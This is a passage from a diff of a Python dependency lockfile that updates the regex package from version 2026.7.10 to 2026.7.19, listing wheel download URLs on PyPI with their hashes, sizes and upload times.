"https://files.pythonhosted.org/packages/ad/1e/5ce0fbe9aab071893ce2b7df020d0f561f7b411ec334124302468d587884/regex-2026.7.10-cp312-cp312-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:f3463a5f26be513a49e4d497debcf1b252a2db7b92c77d89621aa90b83d2dd38", size = 796800, upload-time = "2026-07-10T19:47:20.639Z" }, - { url = "https://files.pythonhosted.org/packages/d4/67/c1ccbada395c10e334763b583e1039b1660b142303ebb941d4269130b22f/regex-2026.7.10-cp312-cp312-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:948dfc62683a6947b9b486c4598d8f6e3ecc542478b6767b87d52be68aeb55c6", size = 865509, upload-time = "2026-07-10T19:47:22.135Z" }, - { url = "https://files.pythonhosted.org/packages/0e/06/f0b31afc16c1208f945b66290eb2a9936ab8becdfb23bbcedb91cc5f9d9b/regex-2026.7.10-cp312-cp312-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:c2cbd385d82f63bb35edb60b09b08abad3619bd0a4a492ae59e55afaf98e1b9d", size = 912395, upload-time = "2026-07-10T19:47:24.128Z" }, - { url = "https://files.pythonhosted.org/packages/0b/1c/8687de3a6c3220f4f872a9bf4bcd8dc249f2a96e7dddfa93de8bd4d16399/regex-2026.7.10-cp312-cp312-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:f6222cafe00e072bb2b8f14142cd969637411fbc4dd3b1d73a90a3b817fa046f", size = 801308, upload-time = "2026-07-10T19:47:25.696Z" }, - { url = "https://files.pythonhosted.org/packages/5f/e3/60a40ec02a2315d826414a125640aceb6f30450574c530c8f352110ece0e/regex-2026.7.10-cp312-cp312-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:65ee5d1ac3cd541325f5ac92625b1c1505f4d171520dd931bda7952895c5321a", size = 777120, upload-time = "2026-07-10T19:47:27.158Z" }, - { url = "https://files.pythonhosted.org/packages/6a/9a/ec579b4f840ac59bc7c192b56e66abd4cbf385615300d59f7c94bf6863ae/regex-2026.7.10-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:aa34473fbcc108fea403074f3f45091461b18b2047d136f16ffaa4c65ad46a68", size = 785164, upload-time = "2026-07-10T19:47:28.732Z" }, - { url = "https://files.pythonhosted.org/packages/ad/1c/60d88afd5f98d4b0fb1f8b8969270628140dc01c7ff93a939f2aa83f31a6/regex-2026.7.10-cp312-cp312-musllinux_1_2_ppc64le.whl", hash = "sha256:9d028d189d8f38d7ff292f22187c0df37f2317f554d2ed9a2908ada330af57c0", size = 860161, upload-time = "2026-07-10T19:47:30.605Z" }, - { url = "https://files.pythonhosted.org/packages/2a/40/08ae3ba45fe79e48c9a888a3389a7ee7e2d8c580d2d996da5ece02dfdcb9/regex-2026.7.10-cp312-cp312-musllinux_1_2_riscv64.whl", hash = "sha256:396ea70e4ea1f19571940add3bad9fd3eb6a19dc610d0d01f692bc1ba0c10cb4", size = 765829, upload-time = "2026-07-10T19:47:32.06Z" }, - { url = "https://files.pythonhosted.org/packages/12/e6/e613c6755d19aca9d977cdc3418a1991ffc8f386779752dd8fdfa888ea89/regex-2026.7.10-cp312-cp312-musllinux_1_2_s390x.whl", hash = "sha256:ebbf0d83ed5271991d666e54bb6c90ac2c55fb2ef3a88740c6af85dc85de2402", size = 852170, upload-time = "2026-07-10T19:47:33.567Z" }, - { url = "https://files.pythonhosted.org/packages/03/33/89072f2060e6b844b4916d5bc40ef01e973640c703025707869264ec75ab/regex-2026.7.10-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:58a4571b2a093f6f6ee4fd281faa8ebf645abcf575f758173ea2605c7a1e1ecb", size = 789550, upload-time = "2026-07-10T19:47:35.395Z" }, - { url = "https://files.pythonhosted.org/packages/e3/3c/4bc8be9a155035e63780ccac1da101f36194946fdc3f6fce90c7179fc6df/regex-2026.7.10-cp312-cp312-win32.whl", hash = "sha256:eac1207936555aa691ce32df1432b478f2729d54e6d93a1f4db9215bcd8eb47d", size = 267151, upload-time = "2026-07-10T19:47:37.047Z" }, - { url = "https://files.pythonhosted.org/packages/35/73/9f5aade65bb98cc6e99c336e45a49a658300720c16721f3e687f8d754fec/regex-2026.7.10-cp312-cp312-win_amd64.whl", hash = "sha256:ecae626449d00db8c08f8f1fc00047a32d6d7eb5402b3976f5c3fda2b80a7a4f", size = 277751, upload-time = "2026-07-10T19:47:38.488Z" }, - { url = "https://files.pythonhosted.org/packages/36/6f/d069dd12872ea1d50e17319d342f89e2072cae4b62f4245009a1108c74d8/regex-2026.7.10-cp312-cp312-win_arm64.whl", hash = "sha256:87794549a3f5c1c2bdfba2380c1bf87b931e375f4133d929da44f95e396bf5fe", size = 277063, upload-time = "2026-07-10T19:47:40.023Z" }, - { url = "https://files.pythonhosted.org/packages/e0/88/0c977b9f3ba9b08645516eca236388c340f56f7a87054d41a187a04e134c/regex-2026.7.10-cp313-cp313-macosx_10_13_universal2.whl", hash = "sha256:4db009b4fc533d79af3e841d6c8538730423f82ea8508e353a3713725de7901c", size = 496868, upload-time = "2026-07-10T19:47:41.675Z" }, - { url = "https://files.pythonhosted.org/packages/f6/51/600882cd5d9a3cf083fd66a4064f5b7f243ba2a7de2437d42823e286edaf/regex-2026.7.10-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:b96341cb29a3faa5db05aff29c77d141d827414f145330e5d8846892119351c1", size = 297306, upload-time = "2026-07-10T19:47:43.521Z" }, - { url = "https://files.pythonhosted.org/packages/52/6f/48a912054ffcb756e374207bb8f4430c5c3e0ffa9627b3c7b6661844b30a/regex-2026.7.10-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:14d27f6bd04beb01f6a25a1153d73e58c290fd45d92ba56af1bb44199fd1010d", size = 291950, upload-time = "2026-07-10T19:47:45.267Z" }, - { url = "https://files.pythonhosted.org/packages/1a/c8/8e1c3c86ebcee7effccbd1f7fc54fe3af22aa0e9204503e2baea4a6ff001/regex-2026.7.10-cp313-cp313-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:e6b6a11bf898cca3ce7bfaa17b646901107f3975677fbd5097f36e5eb5641983", size = 796817, upload-time = "2026-07-10T19:47:48.054Z" }, - { url = "https://files.pythonhosted.org/packages/65/39/3e49d9ff0e0737eb8180a00569b47aabb59b84611f48392eba4d998d91a0/regex-2026.7.10-cp313-cp313-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:234f8e0d65cf1df9becadae98648f74030ee85a8f12edcb5eb0f60a22a602197", size = 865513, upload-time = "2026-07-10T19:47:49.855Z" }, - { url = "https://files.pythonhosted.org/packages/70/57/6511ad809bb3122c65bbeeffa5b750652bb03d273d29f3acb0754109b183/regex-2026.7.10-cp313-cp313-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:91b916d495db3e1b473c7c8e68733beec4dce8e487442db61764fff94f59740e", size = 912391, upload-time = "2026-07-10T19:47:51.776Z" }, - { url = "https://files.pythonhosted.org/packages/cc/29/a1b0c109c9e878cb04b931bfe4c54332d692b93c322e127b5ae9f25b0d9e/regex-2026.7.10-cp313-cp313-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:1f0d4ccf70b1d13711242de0ba78967db5c35d12ac408378c70e06295c3f6644", size = 801338, upload-time = "2026-07-10T19:47:53.38Z" }, - { url = "https://files.pythonhosted.org/packages/33/be/171c3dad4d77000e1befeff2883ca88734696dfd97b2951e5e074f32e4dd/regex-2026.7.10-cp313-cp313-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:c622f4c638a725c39abcb2e680b1bd592663c83b672a4ed350a17f806d75618e", size = 777149, upload-time = "2026-07-10T19:47:54.944Z" }, - { url = "https://files.pythonhosted.org/packages/33/61/41ab0de0e4574da1071c151f67d1eb9db3d92c43e31d64d2e6863c3d89bf/regex-2026.7.10-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:41a47c2b28d9421e2509a4583a22510dc31d83212fcf38e1508a7013140f71a8", size = 785216, upload-time = "2026-07-10T19:47:56.56Z" }, - { url = "https://files.pythonhosted.org/packages/66/28/372859ea693736f07cf7023247c7eca8f221d9c6df8697ff9f93371cca08/regex-2026.7.10-cp313-cp313-musllinux_1_2_ppc64le.whl", hash = "sha256:13fba679fe035037e9d5286620f88bbfd105df4d5fcd975942edd282ab986775", size = 860229, upload-time = "2026-07-10T19:47:58.278Z" }, - { url = "https://files.pythonhosted.org/packages/50/b1/e1d32cd944b599534ae655d35e8640d0ec790c0fa12e1fb29bf434d50f55/regex-2026.7.10-cp313-cp313-musllinux_1_2_riscv64.whl", hash = "sha256:8e26a075fa9945b9e44a3d02cc83d776c3b76bb1ff4b133bbfa620d5650131da", size = 765797, upload-time = "2026-07-10T19:48:00.291Z" }, - { url = "https://files.pythonhosted.org/packages/0c/62/79a2cd9556a3329351e370929743ef4f0ccc0aaff6b3dc414ae5fa4a1302/regex-2026.7.10-cp313-cp313-musllinux_1_2_s390x.whl", hash = "sha256:d0834c84ae8750ae1c4cede59b0afd4d2f775be958e11b18a3eea24ed9d0d9f1", size = 852130, upload-time = "2026-07-10T19:48:01.972Z" }, - { url = "https://files.pythonhosted.org/packages/66/58/76fec29898cf5d359ab63face50f9d4f7135cc2eca3477139227b1d09952/regex-2026.7.10-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:64722a5031aeace7f6c8d5ea9a9b22d9368af0d6e8fa532585da8158549ea963", size = 789644, upload-time = "2026-07-10T19:48:03.748Z" }, - { url = "https://files.pythonhosted.org/packages/f6/06/3c7cec7817bda293e13c8f88aed227bbcf8b37e5990936ff6442a8fdf11a/regex-2026.7.10-cp313-cp313-win32.whl", hash = "sha256:74ae61d8573ecd51b5eeee7be2218e4c56e99c14fa8fcf97cf7519611d4be92e", size = 267130, upload-time = "2026-07-10T19:48:05.677Z" }, - { url = "https://files.pythonhosted.org/packages/88/6c/e2a6f9a6a905f923cfc912298a5949737e9504b1ca24f29eda8d04d05ece/regex-2026.7.10-cp313-cp313-win_amd64.whl", hash = "sha256:5e792367e5f9b4ffb8cad93f1beaa91837056b94da98aa5c65a0db0c1b474927", size = 277722, upload-time = "2026-07-10T19:48:07.318Z" }, - { url = "https://files.pythonhosted.org/packages/00/a6/9d8935aaa940c388496aa1a0c82669cc4b5d06291c2712d595e3f0cf16d3/regex-2026.7.10-cp313-cp313-win_arm64.whl", hash = "sha256:82ab8330e7e2e416c2d42fcec67f02c242393b8681014750d4b70b3f158e1f08", size = 277059, upload-time = "2026-07-10T19:48:08.977Z" }, - { url = "https://files.pythonhosted.org/packages/7d/e9/26decfd3e85c09e42ff7b0d23a6f51085ca4c268db15f084928ca33459c6/regex-2026.7.10-cp313-cp313t-macosx_10_13_universal2.whl", hash = "sha256:2b93eafd92c4128bab2f93500e8912cc9ecb3d3765f6685b902c6820d0909b6b", size = 501508, upload-time = "2026-07-10T19:48:10.668Z" }, - { url = "https://files.pythonhosted.org/packages/38/a5/5b167cebde101945690219bf34361481c9f07e858a4f46d9996b80ec1490/regex-2026.7.10-cp313-cp313t-macosx_10_13_x86_64.whl", hash = "sha256:3f03b92fb6ec739df042e45b06423fc717ecf0063e07ffe2897f7b2d5735e1e8", size = 299705, upload-time = "2026-07-10T19:48:12.544Z" }, - { url = "https://files.pythonhosted.org/packages/f6/20/7909be4b9f449f8c282c14b6762d59aa722aeaeebe7ee4f9bb623eeaa5e0/regex-2026.7.10-cp313-cp313t-macosx_11_0_arm64.whl", hash = "sha256:bb5aab464a0c5e03a97abad5bdf54517061ebbf72340d576e99ff661a42575cc", size = 294605, upload-time = "2026-07-10T19:48:14.495Z" }, - { url = "https://files.pythonhosted.org/packages/82/88/e52550185d6fda68f549b01239698697de47320fd599f5e880b1986b7673/regex-2026.7.10-cp313-cp313t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:fadb07dbe36a541283ff454b1a268afd54b077d917043f2e1e5615372cb5f200", size = 811747, upload-time = "2026-07-10T19:48:16.197Z" }, - { url = "https://files.pythonhosted.org/packages/06/98/16c255c909714de1ee04da6ae30f3ee04170f300cdc0dcf57a314ee4816a/regex-2026.7.10-cp313-cp313t-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:21150500b970b12202879dfd82e7fd809d8e853140fff84d08e57a90cf1e154e", size = 871203, upload-time = "2026-07-10T19:48:18.12Z" }, - { url = "https://files.pythonhosted.org/packages/3b/32/423ed27c9bae2092a453e853da2b6628a658d08bb5a6117db8d591183d85/regex-2026.7.10-cp313-cp313t-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:a68b637451d64ba30ed8ae125c973fa834cc2d37dfa7f154c2b479015d477ba8", size = 917334, upload-time = "2026-07-10T19:48:19.952Z" }, - { url = "https://files.pythonhosted.org/packages/73/87/74dac8efb500db31cb000fda6bae2be45fc2fbf1fa9412f445fbb8acbe37/regex-2026.7.10-cp313-cp313t-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:3e23458d8903e33e7d27196d7a311523dc4e2f4137a5f34e4dbd30c8d37ff33e", size = 816379, upload-time = "2026-07-10T19:48:21.616Z" }, - { url = "https://files.pythonhosted.org/packages/a8/9f/1859403654e3e030b288f06d49233c6a4f889d62b84c4ef3f3a28653173d/regex-2026.7.10-cp313-cp313t-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:cae27622c094558e519abf3242cf4272db961d12c5c9a9ffb7a1b44b2627d5c6", size = 785563, upload-time = "2026-07-10T19:48:23.643Z" }, - { url = "https://files.pythonhosted.org/packages/6d/d8/35d30d6bdf1ef6a5430e8982607b3a6db4df1ddedbe001e43435585d88ba/regex-2026.7.10-cp313-cp313t-musllinux_1_2_aarch64.whl", hash = "sha256:ee877b6d78f9dff1da94fef51ae8cf9cce0967e043fdcc864c40b85cf293c192", size = 801415, upload-time = "2026-07-10T19:48:25.499Z" }, - { url = "https://files.pythonhosted.org/packages/f7/22/630f31f5ea4826167b2b064d9cac2093a5b3222af380aa432cfe1a5dabcd/regex-2026.7.10-cp313-cp313t-musllinux_1_2_ppc64le.whl", hash = "sha256:2c66a8a1969cfd506d1e203c0005fd0fc3fe6efc83c945606566b6f9611d4851", size = 866560, upload-time = "2026-07-10T19:48:27.789Z" }, - { url = "https://files.pythonhosted.org/packages/8d/14/f5914a6d9c5bc63b9bed8c9a1169fb0be35dbe05cdc460e17d953031a366/regex-2026.7.10-cp313-cp313t-musllinux_1_2_riscv64.whl", hash = "sha256:2bc350e1c5fa250f30ab0c3e38e5cfdffcd82cb8af224df69955cab4e3003812", size = 772877, upload-time = "2026-07-10T19:48:29.563Z" }, - { url = "https://files.pythonhosted.org/packages/c1/0f/7c13999eef3e4186f7c79d4950fa56f041bf4de107682fb82c80db605ff9/regex-2026.7.10-cp313-cp313t-musllinux_1_2_s390x.whl", hash = "sha256:53f54993b462f3f91fea0f2076b46deb6619a5f45d70dbd1f543f789d8b900ef", size = 856648, upload-time = "2026-07-10T19:48:31.282Z" }, - { url = "https://files.pythonhosted.org/packages/a4/71/a48e43909b6450fb48fa94e783bef2d9a37179258bc32ef2283955df7be7/regex-2026.7.10-cp313-cp313t-musllinux_1_2_x86_64.whl", hash = "sha256:cfcec18f7da682c4e2d82112829ce906569cb8d69fa6c26f3a50dfbed5ceb682", size = 803520, upload-time = "2026-07-10T19:48:33.275Z" }, - { url = "https://files.pythonhosted.org/packages/e0/b8/f037d1bf2c133cb24ceb6e7d81d08417080390eddab6ddfd701aa7091874/regex-2026.7.10-cp313-cp313t-win32.whl", hash = "sha256:a2d6d30be35ddd70ce0f8ee259a4c25f24d6d689a45a5ac440f03e6bcc5a21d1", size = 269168, upload-time = "2026-07-10T19:48:35.353Z" }, - { url = "https://files.pythonhosted.org/packages/b6/9c/eaac34f8452a838956e7e89852ad049678cdc1af5d14f72d3b3b658b1ea5/regex-2026.7.10-cp313-cp313t-win_amd64.whl", hash = "sha256:c57b6ad3f7a1bdd101b2966f29dc161adf49727b1e8d3e1e89db2eda8a75c344", size = 280004, upload-time = "2026-07-10T19:48:37.106Z" }, - { url = "https://files.pythonhosted.org/packages/cd/a9/e22e997587bc1d588b0b2cd0572027d39dd3a006216e40bbf0361688c51c/regex-2026.7.10-cp313-cp313t-win_arm64.whl", hash = "sha256:3d8ef9df02c8083c7b4b855e3cb87c8e0ebbcfea088d98c7a886aaefdf88d837", size = 279308, upload-time = "2026-07-10T19:48:38.907Z" }, - { url = "https://files.pythonhosted.org/packages/6a/4a/a7fa3ada9bd2d2ce20d56dfceec6b2a51afeed9bf3d8286355ceec5f0628/regex-2026.7.10-cp314-cp314-macosx_10_13_universal2.whl", hash = "sha256:39f81d1fdf594446495f2f4edd8e62d8eda0f7a802c77ac596dc8448ad4cc5ca", size = 497087, upload-time = "2026-07-10T19:48:40.543Z" }, - { url = "https://files.pythonhosted.org/packages/0f/7e/ca0b1a87192e5828dbc16f16ae6caca9b67f25bf729a3348468a5ff52755/regex-2026.7.10-cp314-cp314-macosx_10_13_x86_64.whl", hash = "sha256:441edc66a54063f8269d1494fc8474d06605e71e8a918f4bcfd079ebda4ce042", size = 297307, upload-time = "2026-07-10T19:48:42.213Z" }, - { url = "https://files.pythonhosted.org/packages/b2/6c/fb40bb34275d3cd4d7a376d5fb2ea1f0f4a96fd884fa83c0c4ae869001bf/regex-2026.7.10-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:cfeb11990f59e59a0df26c648f0adfcbf27be77241250636f5769eb08db662be", size = 292163, upload-time = "2026-07-10T19:48:43.929Z" }, - { url = "https://files.pythonhosted.org/packages/18/0b/34cbea16c8fea9a18475a7e8f5837c70af451e738bfeb4eb5b029b7dc07a/regex-2026.7.10-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:460176b2db044a292baaee6891106566739657877af89a251cded228689015a6", size = 797064, upload-time = "2026-07-10T19:48:45.623Z" }, - { url = "https://files.pythonhosted.org/packages/87/77/f6805d97f15f5a710bdfd56a768f3468c978239daf9e1b15efd8935e1967/regex-2026.7.10-cp314-cp314-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:9dc55698737aca028848bde418d6c51d74f2a5fd44872d3c8b56b626729adb89", size = 866155, upload-time = "2026-07-10T19:48:47.589Z" }, - { url = "https://files.pythonhosted.org/packages/a2/e3/a2a905807bba3bcd90d6ebbb67d27af2adf7d41708175cbc6b956a0c75f1/regex-2026.7.10-cp314-cp314-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:d3e10779f60c000213a5b53f518824bd07b3dc119333b26d70c6be1c27b5c794", size = 911596, upload-time = "2026-07-10T19:48:49.473Z" }, - { url = "https://files.pythonhosted.org/packages/a2/ca/a3126888b2c6f33c7e29144fedf85f6d5a52a400024fa045ad8fc0550ef1/regex-2026.7.10-cp314-cp314-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:38a5926601aaccf379512746b86eb0ac1d29121f6c776dac6ac5b31077432f2c", size = 800713, upload-time = "2026-07-10T19:48:51.452Z" }, - { url = "https://files.pythonhosted.org/packages/66/19/9d252fd969f726c8b56b4bacf910811cc70495a110907b3a7ccb96cd9cad/regex-2026.7.10-cp314-cp314-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:a72ecf5bfd3fc8d57927f7e3ded2487e144472f39010c3acaec3f6f3ff53f361", size = 777286, upload-time = "2026-07-10T19:48:53.443Z" }, - { url = "https://files.pythonhosted.org/packages/40/7a/5f1bf433fa446ecb3aab87bb402603dc9e171ef8052c1bb8690bb4e255a3/regex-2026.7.10-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:d50714405845c1010c871098558cfe5718fe39d2a2fab5f95c8863caeb7a82b3", size = 785826, upload-time = "2026-07-10T19:48:55.381Z" }, - { url = "https://files.pythonhosted.org/packages/99/ca/69f3a7281d86f1b592338007f3e535cc219d771448e2b61c0b56e4f9d05b/regex-2026.7.10-cp314-cp314-musllinux_1_2_ppc64le.whl", hash = "sha256:ec1c44cf9bd22079aac37a07cb49a29ced9050ab5bddf24e50aba298f1e34d90", size = 860957, upload-time = "2026-07-10T19:48:57.962Z" }, - { url = "https://files.pythonhosted.org/packages/bc/11/487ff55c8d515ec9dd60d7ba3c129eeaa9e527358ed9e8a054a9e9430f81/regex-2026.7.10-cp314-cp314-musllinux_1_2_riscv64.whl", hash = "sha256:9e9aaef25a40d1f1e1bbb1d0eb0190c4a64a7a1750f7eb67b8399bed6f4fd2a6", size = 765959, upload-time = "2026-07-10T19:49:00.27Z" }, - { url = "https://files.pythonhosted.org/packages/73/e1/fa034e6fa8896a09bd0d5e19c81fdc024411ab37980950a0401dccee8f6d/regex-2026.7.10-cp314-cp314-musllinux_1_2_s390x.whl", hash = "sha256:e54e088dc64dd2766014e7cfe5f8bc45399400fd486816e494f93e3f0f55da06", size = 851447, upload-time = "2026-07-10T19:49:02.128Z" }, - { url = "https://files.pythonhosted.org/packages/ee/a5/b9427ed53b0e14c540dc436d56aaf57a19fb9183c6e7abd66f4b4368fbad/regex-2026.7.10-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:834271b1ff2cfa1f67fcd65a48bf11d11e9ab837e21bf79ce554efb648599ae8", size = 789418, upload-time = "2026-07-10T19:49:03.949Z" }, - { url = "https://files.pythonhosted.org/packages/ba/52/aab92420c8aa845c7bcbe68dc65023d4a9e9ea785abf0beb2198f0de5ba1/regex-2026.7.10-cp314-cp314-win32.whl", hash = "sha256:f988a1cec68058f71a38471813fba9e87dffe855582682e8a10e40ece12567a2", size = 272538, upload-time = "2026-07-10T19:49:05.833Z" }, - { url = "https://files.pythonhosted.org/packages/99/16/5c7050e0ef7dd8889441924ff0a2c33b7f0587c0ccb0953fe7ca997d673b/regex-2026.7.10-cp314-cp314-win_amd64.whl", hash = "sha256:2129e4a5e86f26926982d883dff815056f2e98220fdf630e59f961b578a26c43", size = 280796, upload-time = "2026-07-10T19:49:07.593Z" }, - { url = "https://files.pythonhosted.org/packages/e8/1a/4f6099d2ba271502fdb97e697bae2ed0213c0d87f2273fe7d21e2e401d12/regex-2026.7.10-cp314-cp314-win_arm64.whl", hash = "sha256:9cd5b6805396157b4cf993a6940cbb8663161f29b4df2458c1c9991f099299c5", size = 281017, upload-time = "2026-07-10T19:49:09.767Z" }, - { url = "https://files.pythonhosted.org/packages/19/02/4061fc71f64703e0df61e782c2894c3fbc089d277767eff6e16099581c73/regex-2026.7.10-cp314-cp314t-macosx_10_13_universal2.whl", hash = "sha256:103e8f3acc3dcede88c0331c8612766bdcfc47c9250c5477f0e10e0550b9da49", size = 501467, upload-time = "2026-07-10T19:49:11.952Z" }, - { url = "https://files.pythonhosted.org/packages/73/a5/8d42b2f3fd672908a05582effd0f88438bf9bb4e8e02d69a62c723e23601/regex-2026.7.10-cp314-cp314t-macosx_10_13_x86_64.whl", hash = "sha256:538ddb143f5ca085e372def17ef3ed9d74b50ad7fc431bd85dc50a9af1a7076f", size = 299700, upload-time = "2026-07-10T19:49:14.067Z" }, - { url = "https://files.pythonhosted.org/packages/65/70/36fa4b46f73d268c0dbe77c40e62da2cd4833ee206d3b2e438c2034e1f36/regex-2026.7.10-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:6e3448e86b05ce87d4eb50f9c680860830f3b32493660b39f43957d6263e2eba", size = 294590, upload-time = "2026-07-10T19:49:15.883Z" }, - { url = "https://files.pythonhosted.org/packages/e0/a7/b6db1823f3a233c2a46f854fdc986f4fd424a84ed557b7751f2998efb266/regex-2026.7.10-cp314-cp314t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:5eab9d3f981c423afd1a61db055cfe83553c3f6455949e334db04722469dd0a2", size = 811925, upload-time = "2026-07-10T19:49:17.97Z" }, - { url = "https://files.pythonhosted.org/packages/b6/7d/f8bee4c210c42c7e8b952bb9fb7099dd7fb2f4bd0f33d0d65a8ab08aafc0/regex-2026.7.10-cp314-cp314t-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:177f930af3ad72e1045f8877540e0c43a38f7d328cf05f31963d0bd5f7ecf067", size = 871257, upload-time = "2026-07-10T19:49:19.943Z" }, - { url = "https://files.pythonhosted.org/packages/5d/78/22adf72e614ba0216b996e9aaef5712c23699e360ea127bb3d5ee1a7666f/regex-2026.7.10-cp314-cp314t-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:dd3b6d97beb39afb412f2c79522b9e099463c31f4c49ab8347c5a2ca3531c478", size = 917551, upload-time = "2026-07-10T19:49:22.069Z" }, - { url = "https://files.pythonhosted.org/packages/03/f7/ebc15a39e81e6b58da5f913b91fc293a25c6700d353c14d5cd25fc85712a/regex-2026.7.10-cp314-cp314t-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:8679f0652a183d93da646fcec8da8228db0be40d1595da37e6d74c2dc8c4713c", size = 816436, upload-time = "2026-07-10T19:49:24.131Z" }, - { url = "https://files.pythonhosted.org/packages/5c/33/20bc2bdd57f7e0fcc51be37e4c4d1bca7f0b4af8dc0a148c23220e689da8/regex-2026.7.10-cp314-cp314t-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:494b19a5805438aeb582de99f9d97603d8fd48e6f4cc74d0088bb292b4da3b70", size = 785935, upload-time = "2026-07-10T19:49:26.265Z" }, - { url = "https://files.pythonhosted.org/packages/b4/51/87ff99c849b56309c40214a72b54b0eef320d0516a8a516970cc8be1b725/regex-2026.7.10-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:0911e34151a5429d0325dae538ba9851ec0b62426bdfd613060cda8f1c36ec7f", size = 801494, upload-time = "2026-07-10T19:49:28.493Z" }, - { url = "https://files.pythonhosted.org/packages/16/11/fde67d49083fef489b7e0f841e2e5736516795b166c9867f05956c1e494b/regex-2026.7.10-cp314-cp314t-musllinux_1_2_ppc64le.whl", hash = "sha256:b862572b7a5f5ed47d2ba5921e63bf8d9e3b682f859d8f11e0e5ca46f7e82173", size = 866549, upload-time = "2026-07-10T19:49:30.592Z" }, - { url = "https://files.pythonhosted.org/packages/e6/b5/31a156c36acf10181d88f55a66c688d5454a344e53ccc03d49f4a48a2297/regex-2026.7.10-cp314-cp314t-musllinux_1_2_riscv64.whl", hash = "sha256:3f361215e000d68a4aff375106637b83c80be36091d83ee5107ad3b32bd73f48", size = 773089, upload-time = "2026-07-10T19:49:32.661Z" }, - { url = "https://files.pythonhosted.org/packages/27/bb/734e978c904726664df47ae36ce5eca5065de5141185ae46efec063476a2/regex-2026.7.10-cp314-cp314t-musllinux_1_2_s390x.whl", hash = "sha256:4533af6099543db32ef26abc2b2f824781d4eebb309ab9296150fd1a0c7eb07d", size = 856710, upload-time = "2026-07-10T19:49:35.289Z" }, - { url = "https://files.pythonhosted.org/packages/6d/e5/dc35cea074dbdcb9776c4b0542a3bc326ff08454af0768ef35f3fc66e7fa/regex-2026.7.10-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:668ab85105361d0200e3545bec198a1acfc6b0aeb5fff8897647a826e5a171be", size = 803621, upload-time = "2026-07-10T19:49:37.704Z" }, - { url = "https://files.pythonhosted.org/packages/a6/b2/124564af46bc0b592785610b3985315610af0a07f4cf21fa36e06c2398dd/regex-2026.7.10-cp314-cp314t-win32.whl", hash = "sha256:dd7715817a187edd7e2a2390908757f7ba42148e59cad755fb8ee1160c628eca", size = 274558, upload-time = "2026-07-10T19:49:39.926Z" }, - { url = "https://files.pythonhosted.org/packages/4e/9c/cd813ce9f3404c0443915175c1e339c5afd8fcda04310102eaf233015eef/regex-2026.7.10-cp314-cp314t-win_amd64.whl", hash = "sha256:78712d4954234df5ca24fdadb65a2ab034213f0cdfde376c272f9fc5e09866bb", size = 283687, upload-time = "2026-07-10T19:49:41.872Z" }, - { url = "https://files.pythonhosted.org/packages/1b/d3/3dae6a6ce46144940e64425e32b8573a393a009aeaf75fa6752a35399056/regex-2026.7.10-cp314-cp314t-win_arm64.whl", hash = "sha256:749b92640e1970e881fdf22a411d74bf9d049b154f4ef7232eeb9a90dd8be7f3", size = 283377, upload-time = "2026-07-10T19:49:43.985Z" }, +version = "2026.7.19" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/20/98/04b13f1ddfb63158025291c02e03eb42fbb7acb51d091d541050eb4e35e8/regex-2026.7.19.tar.gz", hash = "sha256:7e77b324909c1617cbb4c668677e2c6ae13f44d7c1de0d4f15f2e3c10f3315b5", size = 416440, upload-time = "2026-07-19T00:19:48.923Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/24/13/bbf7d9d1887fe4a3693527c6caa232c197ea9da91f1212e9672eff60329d/regex-2026.7.19-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:555497390743af1a65045fa4527782d10ff5b88970359412baa4a1e628fe393b", size = 494009, upload-time = "2026-07-19T00:16:13.602Z" }, + { url = 